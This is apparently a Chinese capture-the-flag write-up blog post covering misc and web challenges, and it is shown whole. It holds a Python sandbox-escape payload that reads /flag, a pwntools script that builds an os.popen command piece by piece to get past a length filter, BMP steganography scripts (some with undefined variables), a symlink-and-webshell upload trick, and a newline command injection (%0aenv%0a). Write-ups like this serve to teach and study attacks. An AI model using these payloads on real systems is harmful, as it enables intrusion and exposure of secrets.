本文最后更新于 599 天前,其中的信息可能已经有所发展或是发生改变。
Misc
签到卡
__import__('os').popen("cat /flag").read()
被加密的生产流量
- follow stream 后发现存在base64,手抄出来转换得到flag
国粹
- a.png 是横坐标,k.png 是纵坐标
PyShell
import socket
import threading
class Service(threading.Thread):
def __init__(self, port):
threading.Thread.__init__(self)
self.port = port
self.sock = socket.create_server(("0.0.0.0", port))
self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.client.settimeout(2)
def run(self):
print("listener started")
self.client.connect(("127.0.0.1", 12345))
rabbish = self.client.recv(1024)
while not rabbish.decode().strip().endswith('>>>'):
rabbish = self.client.recv(1024)
while True:
ss, addr = self.sock.accept()
print("accept a connect")
try:
ss.send(b'Welcome to this python shell,try to find the flag!\r\n')
while True:
ss.send(b'>>')
msg = ss.recv(1024)
if not msg:
continue
elif is_validate(msg.decode().strip()):
self.client.send(msg)
total_result = bytes()
while True:
try:
result = self.client.recv(1024)
total_result += result
if result.decode().strip().endswith('>>>'):
break
except:
break
print(total_result)
if total_result.decode().strip().endswith('>>>'):
total_result = total_result[:-4]
elif total_result.decode().strip().endswith('...'):
self.client.send(b'\r\n')
while True:
result = self.client.recv(1024)
total_result += result
if result.decode().strip().endswith('>>>'):
break
total_result = total_result[:-4]
else:
total_result = b'error\r\n'
ss.send(total_result)
else:
ss.send(b'nop\r\n')
continue
except:
continue
def is_validate(s):
if 'exit' in s or 'help' in s:
return False
if len(s) > 7:
return False
if '=' in s:
return False
return True
service = Service(10080)
service.run()
- 过滤的很简单粗暴,已知py中
_
变量会自动存储最后一次输出的内容,通过这个来拼接命令
from pwn import *
shell = f"ort__(\"os\").popen(\"cat app/server.py\").read()"
r = remote("IP", port)
print(r.recv().decode())
print(r.recv().decode())
r.sendline(b"'__imp'")
print(r.recv().decode())
for i in range(len(shell) // 3 + 1):
# print()
r.sendline(b"_+'" + shell[i * 3: (i + 1) * 3].encode() + b"'")
print((b"_+'" + shell[i * 3: (i + 1) * 3].encode() + b"'").decode())
print(r.recv().decode())
sleep(1)
# r.interactive()
r.sendline(b"eval(_)")
print("eval(_)")
sleep(1)
print(r.recv().decode())
puzzle
根据cjj✌的复现的复现
Part One
- bmp文件结构中,两处保留字节对应的是左上角的坐标以此进行拼图
- 同时对于图片高度存在+100与-100
from PIL import Image
import libnum
import os
pic = Image.new("RGB", (7200, 4000))
for _, _, files in os.walk("./tmp4"):
for file in files:
f = open(f"./tmp4/{file}", "rb").read()
x1 = libnum.s2n(f[6:8][::-1])
y1 = libnum.s2n(f[8:10][::-1])
height = libnum.s2n(f[22:26][::-1])
img = Image.open(f"./tmp4/{file}")
w, h = img.size
names[y1][x1] = file
if height == 4294967196:
img = img.transpose(Image.FLIP_TOP_BOTTOM)
pic.paste(img, (x1, y1, x1 + w, y1 + h))
pic.save("flag.png")
- LSB隐写得到part1
Part Two
- 在处理图像翻转时以01二进制记录,转换得到part2
from PIL import Image
import libnum
import os
a = [[' ' for _ in range(7200)]for _ in range(4000)]
names = [[' ' for _ in range(7200)]for _ in range(4000)]
pic = Image.new("RGB", (7200, 4000))
for _, _, files in os.walk("./tmp4"):
for file in files:
f = open(f"./tmp4/{file}", "rb").read()
height = libnum.s2n(f[22:26][::-1])
if height == 4294967196:
a[y1][x1] = "0"
else:
a[y1][x1] = "1"
ans = ""
for i in a:
for j in i:
if j != " ":
ans += j
print(libnum.b2s(ans))
Part Three
- 在bmp中,为保证每行字节个数为4的倍数,添加了
padBytes
- 每个像素占据三个bytes,则可以根据图像长宽计算该图所有
padBytes
数量- height * (((4 – width * 3 % 4)) % 4)
- 全部提取出来
import os
from PIL import Image
import libnum
names = [[' ' for _ in range(7200)]for _ in range(4000)]
pic = Image.new("RGB", (7200, 4000))
for _, _, files in os.walk("./tmp4"):
for file in files:
f = open(f"./tmp4/{file}", "rb").read()
x1 = libnum.s2n(f[6:8][::-1])
y1 = libnum.s2n(f[8:10][::-1])
height = libnum.s2n(f[22:26][::-1])
img = Image.open(f"./tmp4/{file}")
w, h = img.size
names[y1][x1] = file
data = b""
for i in names:
for j in i:
if j != " ":
f = open("./tmp4/{}".format(j), "rb").read()
img = Image.open("./tmp4/{}".format(j))
w, h = img.size
pos = 54 + w * 3
offbits = (4 - (w * 3 % 4)) % 4
for x in range(h):
data += f[pos:pos + offbits]
pos += w * 3 + offbits
fw = open("1.jpg", "wb")
fw.write(data)
fw.close()
Web
unzip
- 创建一个指向
/var/www/html
的软链接压缩后上传,再上传shell
dumpit
- dump时存在命令注入,以
%0a
执行多命令
?db=%0aenv%0a&table_2_dump=
- 非预期,环境变量没删干净